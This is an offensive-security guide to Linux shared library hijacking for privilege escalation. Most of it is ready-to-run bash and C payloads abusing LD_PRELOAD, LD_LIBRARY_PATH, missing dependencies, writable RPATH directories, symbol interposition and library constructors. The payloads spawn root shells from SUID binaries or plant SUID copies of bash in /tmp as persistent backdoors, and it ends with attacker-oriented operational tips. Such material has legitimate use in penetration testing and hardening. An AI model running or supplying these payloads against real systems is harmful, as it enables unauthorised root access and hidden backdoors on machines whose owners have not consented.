# Shared library hijacking

## Shared Library Hijacking

## What Makes Shared Library Hijacking Dangerous

Shared library hijacking exploits the dynamic library loading mechanism in Linux systems to execute malicious code with elevated privileges. By manipulating library search paths or replacing legitimate libraries with malicious ones, attackers can intercept function calls and execute arbitrary code when privileged programs load these libraries.

**The Attack Principle**: Exploit scenarios where:

* Programs load shared libraries from user-controllable locations
* Library search paths include writable directories
* Environment variables control library loading behavior
* SUID/SGID binaries can be forced to load malicious libraries
* Library dependencies can be replaced or intercepted

**Why This Works**: Linux uses a specific order to search for shared libraries. If an attacker can place a malicious library in a location that's searched before the legitimate one, their code will be executed with the privileges of the calling program.

## Library Loading Discovery and Enumeration

#### Library Search Path Analysis

**Library Path Discovery:**

```bash
# Check library search configuration
cat /etc/ld.so.conf
cat /etc/ld.so.conf.d/*

# View library cache
ldconfig -p | head -20

# Check library search order
ld --verbose | grep SEARCH_DIR

# Display runtime library search paths
echo $LD_LIBRARY_PATH
```

**Binary Library Dependencies:**

```bash
# Check library dependencies for SUID binaries
find / -perm -4000 -exec ldd {} \; 2>/dev/null

# Analyze specific binary dependencies
ldd /usr/bin/suid_binary

# Check for missing libraries
ldd /usr/bin/suid_binary | grep "not found"

# Detailed library loading information
LD_DEBUG=libs ldd /usr/bin/suid_binary
```

**Writable Library Directories:**

```bash
# Find writable directories in library search path
for dir in $(ldconfig -p | awk '{print $4}' | sort -u | xargs dirname | sort -u); do
    [ -w "$dir" ] && echo "Writable: $dir"
done

# Check common library directories
ls -la /usr/lib /usr/local/lib /lib
find /usr/local/lib -writable 2>/dev/null
```

## High-Value Library Hijacking Techniques

#### LD\_PRELOAD Exploitation

**Why LD\_PRELOAD is Critical**: Forces programs to load specified libraries before all others, allowing complete function interception.

**Basic LD\_PRELOAD Hijacking:**

```bash
# Create malicious shared library
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}' > /tmp/preload.c

# Compile malicious library
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c

# Execute SUID binary with LD_PRELOAD
LD_PRELOAD=/tmp/preload.so /usr/bin/suid_binary
```

**Function Hijacking with LD\_PRELOAD:**

```bash
# Hijack specific functions (e.g., printf)
echo '#include <stdio.h>
#include <stdarg.h>
#include <sys/types.h>
#include <stdlib.h>
int printf(const char *format, ...) {
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}' > /tmp/printf_hijack.c

gcc -fPIC -shared -o /tmp/printf_hijack.so /tmp/printf_hijack.c

LD_PRELOAD=/tmp/printf_hijack.so /usr/bin/vulnerable_binary
```

#### LD\_LIBRARY\_PATH Exploitation

**Library Path Hijacking:**

```bash
# Create directory structure mimicking system libraries
mkdir -p /tmp/lib_hijack/lib/x86_64-linux-gnu

# Create malicious library with same name as legitimate one
echo '#include <stdio.h>
#include <stdlib.h>
void __libc_start_main() {
    system("/bin/bash");
}' > /tmp/lib_hijack/fake_libc.c

gcc -fPIC -shared -o /tmp/lib_hijack/lib/x86_64-linux-gnu/libc.so.6 /tmp/lib_hijack/fake_libc.c

# Set library path and execute
export LD_LIBRARY_PATH=/tmp/lib_hijack/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
/usr/bin/suid_binary
```

**Missing Library Exploitation:**

```bash
# If binary has missing library dependency
ldd /usr/bin/vulnerable_binary | grep "not found"
# => libcustom.so.1 => not found

# Create malicious library with missing name
echo 'void _init() { system("/bin/bash"); }' > /tmp/libcustom.c
gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c -nostartfiles

# Place in library search path
cp /tmp/libcustom.so.1 /usr/local/lib/
ldconfig

# Execute binary - will load our malicious library
/usr/bin/vulnerable_binary
```

#### Library Replacement

**Direct Library Replacement:**

```bash
# Find writable library directories
find /usr/local/lib -type f -name "*.so*" -writable 2>/dev/null

# Backup and replace legitimate library
cp /usr/local/lib/legitimate.so /usr/local/lib/legitimate.so.bak

# Create malicious replacement
echo '#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

// Function to load original library and call original function
int original_function(int arg) {
    void *handle = dlopen("/usr/local/lib/legitimate.so.bak", RTLD_LAZY);
    int (*orig_func)(int) = dlsym(handle, "original_function");
    
    // Execute malicious code
    system("cp /bin/bash /tmp/lib_backdoor; chmod 4755 /tmp/lib_backdoor");
    
    // Call original function
    return orig_func(arg);
}' > /tmp/replacement.c

gcc -fPIC -shared -o /usr/local/lib/legitimate.so /tmp/replacement.c -ldl
```

## Advanced Library Hijacking

#### RPATH/RUNPATH Exploitation

**RPATH Analysis:**

```bash
# Check for RPATH/RUNPATH in binaries
objdump -x /usr/bin/suid_binary | grep -E "(RPATH|RUNPATH)"
readelf -d /usr/bin/suid_binary | grep -E "(RPATH|RUNPATH)"

# If RPATH points to writable directory
objdump -x /usr/bin/binary | grep RPATH
# RPATH: /opt/app/lib

# Check if RPATH directory is writable
ls -la /opt/app/lib
```

**RPATH Exploitation:**

```bash
# Create malicious library in RPATH directory
echo 'void _init() { 
    setuid(0); 
    system("/bin/bash"); 
}' > /tmp/malicious.c

gcc -fPIC -shared -nostartfiles -o /opt/app/lib/libexploit.so /tmp/malicious.c

# Binary will load from RPATH directory first
/usr/bin/vulnerable_binary
```

#### Library Symbol Interposition

**Symbol Hijacking:**

```bash
# Identify symbols used by target binary
nm -D /usr/bin/target_binary | grep " U "
objdump -T /usr/bin/target_binary

# Create library that exports hijacked symbols
echo '#include <stdio.h>
#include <stdlib.h>

// Hijack malloc function
void* malloc(size_t size) {
    static int executed = 0;
    if (!executed) {
        executed = 1;
        system("/bin/bash");
    }
    
    // Call original malloc through dlsym
    void* (*original_malloc)(size_t) = dlsym(RTLD_NEXT, "malloc");
    return original_malloc(size);
}' > /tmp/symbol_hijack.c

gcc -fPIC -shared -o /tmp/symbol_hijack.so /tmp/symbol_hijack.c -ldl

LD_PRELOAD=/tmp/symbol_hijack.so /usr/bin/target_binary
```

#### Library Constructor Abuse

**Constructor Function Exploitation:**

```bash
# Create library with constructor that executes before main()
echo '#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
void before_main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

// Dummy function to make it a valid library
void dummy_function() {
    printf("Library loaded\n");
}' > /tmp/constructor.c

gcc -fPIC -shared -o /tmp/constructor.so /tmp/constructor.c

# Library constructor executes when loaded
LD_PRELOAD=/tmp/constructor.so /usr/bin/any_binary
```

## SUID Binary Library Exploitation

#### SUID Library Hijacking

**SUID Binary Analysis:**

```bash
# Find SUID binaries with library dependencies
find / -perm -4000 -exec ldd {} \; 2>/dev/null | grep -B1 -A5 "not found"

# Check if SUID binary accepts LD_PRELOAD
LD_PRELOAD=/dev/null /usr/bin/suid_binary 2>&1

# Test library loading behavior
strace -e open,openat /usr/bin/suid_binary 2>&1 | grep "\.so"
```

**Exploiting SUID with Custom Libraries:**

```bash
# If SUID binary loads libraries from writable location
# Example: Custom SUID application in /opt/
find /opt -perm -4000 -exec ldd {} \; 2>/dev/null

# Create malicious library in application's library path
echo 'void _init() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", (char *)NULL);
}' > /tmp/suid_exploit.c

gcc -fPIC -shared -nostartfiles -o /opt/app/lib/libexploit.so /tmp/suid_exploit.c

# Execute SUID binary
/opt/app/suid_application
```

## Real-World Library Hijacking Examples

#### Example 1: LD\_PRELOAD SUID Bypass

**Discovery:**

```bash
# Found SUID binary that doesn't strip LD_PRELOAD
find /usr/local/bin -perm -4000 -exec {} --help \; 2>&1 | grep -B2 -A2 "environment"
```

**Exploitation:**

```bash
# Create shared library
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); 
    setuid(0);
    system("/bin/bash -p");
}' > /tmp/exploit.c

gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles

# Execute with LD_PRELOAD
LD_PRELOAD=/tmp/exploit.so /usr/local/bin/custom_suid

# Verify privilege escalation
id
# uid=0(root) gid=0(root)
```

#### Example 2: Missing Library Dependency

**Discovery:**

```bash
# Found binary with missing library
ldd /opt/application/binary
# libcustom.so.1 => not found
```

**Exploitation:**

```bash
# Create malicious library with missing name
echo '#include <stdio.h>
#include <stdlib.h>
void _init() {
    system("cp /bin/bash /tmp/missing_lib_backdoor");
    system("chmod 4755 /tmp/missing_lib_backdoor");
}

// Export any symbols the binary might expect
void custom_function() {
    printf("Custom function called\n");
}' > /tmp/libcustom.c

gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c -nostartfiles

# Place in library search path
sudo cp /tmp/libcustom.so.1 /usr/local/lib/
sudo ldconfig

# Execute binary
/opt/application/binary

# Use created backdoor
/tmp/missing_lib_backdoor -p
```

#### Example 3: Writable Library Directory

**Discovery:**

```bash
# Found writable library directory in search path
ldconfig -p | grep "/usr/local/lib"
ls -la /usr/local/lib
# drwxrwxrwx 2 root root 4096 Dec 25 12:00 /usr/local/lib
```

**Exploitation:**

```bash
# Check what libraries programs load from this directory
ldd /usr/bin/* 2>/dev/null | grep "/usr/local/lib" | head -5

# Create malicious version of commonly used library
echo '#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int puts(const char *s) {
    static int executed = 0;
    if (!executed) {
        executed = 1;
        system("cp /bin/bash /tmp/lib_hijack_backdoor; chmod 4755 /tmp/lib_hijack_backdoor");
    }
    
    // Call original puts
    int (*orig_puts)(const char *) = dlsym(RTLD_NEXT, "puts");
    return orig_puts(s);
}' > /tmp/libc_fake.c

gcc -fPIC -shared -o /usr/local/lib/libc.so.6 /tmp/libc_fake.c -ldl

# Wait for any program to use puts function
# Access backdoor when created
/tmp/lib_hijack_backdoor -p
```

## Key Operational Considerations

#### Success Indicators

* **LD\_PRELOAD accepted** by SUID/SGID binaries
* **Writable library directories** found in search path
* **Missing library dependencies** identified in binaries
* **RPATH/RUNPATH** pointing to writable directories
* **Privilege escalation** achieved through library loading

#### Common Failure Points

* **LD\_PRELOAD stripped** by security-aware SUID binaries
* **Library directories** have proper permissions
* **Modern protections** prevent library hijacking
* **AppArmor/SELinux** blocking library loading
* **Library path restrictions** in secure environments

#### Exploitation Notes

* **Custom applications** more likely to have vulnerable library loading
* **Development environments** often have relaxed library security
* **LD\_PRELOAD** most reliable when accepted by SUID binaries
* **Missing dependencies** provide excellent attack opportunities

Shared library hijacking remains a powerful privilege escalation technique, particularly effective against custom applications and in environments where library loading security is not strictly controlled.
